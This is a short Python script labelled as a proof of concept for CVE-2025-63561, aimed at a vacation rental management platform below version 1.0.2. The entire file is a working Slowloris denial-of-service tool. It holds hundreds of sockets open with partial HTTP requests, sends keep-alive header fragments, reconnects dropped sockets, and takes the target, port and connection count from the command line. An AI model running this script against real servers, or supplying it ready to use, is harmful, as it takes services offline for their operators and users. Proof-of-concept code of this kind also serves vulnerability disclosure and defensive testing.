#!/usr/bin/env python3
"""
CVE-2025-63561 PoC - Slowloris DoS Attack
Target: Summer Pearl Group Vacation Rental Management Platform < 1.0.2
"""
import socket
import time
import random
import argparse
def create_socket_with_options(target_host, target_port, timeout=10):
"""Create and configure socket connection"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((target_host, target_port))
return s
def slowloris_attack(target_host, target_port, num_connections=200, delay=15):
"""
Perform Slowloris attack by maintaining partial HTTP connections
Args:
target_host: Target server hostname or IP
target_port: Target HTTP port
num_connections: Number of connections to maintain
delay: Delay between partial sends in seconds
"""
sockets = []
print(f"[*] Starting Slowloris attack against {target_host}:{target_port}")
print(f"[*] Establishing {num_connections} connections...")
# Create initial connections
for i in range(num_connections):
try:
s = create_socket_with_options(target_host, target_port)
# Send partial HTTP request (missing final \r\n\r\n)
headers = [
f"GET / HTTP/1.1",
f"Host: {target_host}",
f"User-Agent: Mozilla/4.0",
f"Content-Length: {random.randint(1000, 10000)}"
]
s.send("\r\n".join(headers).encode() + "\r\n".encode())
sockets.append(s)
print(f"[+] Connection {i+1}/{num_connections} established")
except Exception as e:
print(f"[-] Connection {i+1} failed: {e}")
print(f"[*] Maintaining {len(sockets)} connections...")
# Keep connections alive by sending partial data
try:
while True:
for s in sockets:
try:
# Send a partial header line to keep connection alive
s.send(b"X-a: b\r\n")
print(f"[*] Sent keep-alive to socket")
except:
sockets.remove(s)
# Reconnect to replace lost connection
try:
new_s = create_socket_with_options(target_host, target_port)
new_s.send(f"GET / HTTP/1.1\r\nHost: {target_host}\r\n\r\n".encode())
sockets.append(new_s)
except:
pass
time.sleep(delay)
except KeyboardInterrupt:
print("\n[*] Attack stopped by user")
finally:
for s in sockets:
s.close()
print("[*] All connections closed")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-63561 Slowloris PoC")
parser.add_argument("target", help="Target hostname or IP")
parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)")
parser.add_argument("-n", "--connections", type=int, default=200, help="Number of connections")
parser.add_argument("-d", "--delay", type=int, default=15, help="Delay between sends")
args = parser.parse_args()
slowloris_attack(args.target, args.port, args.connections, args.delay)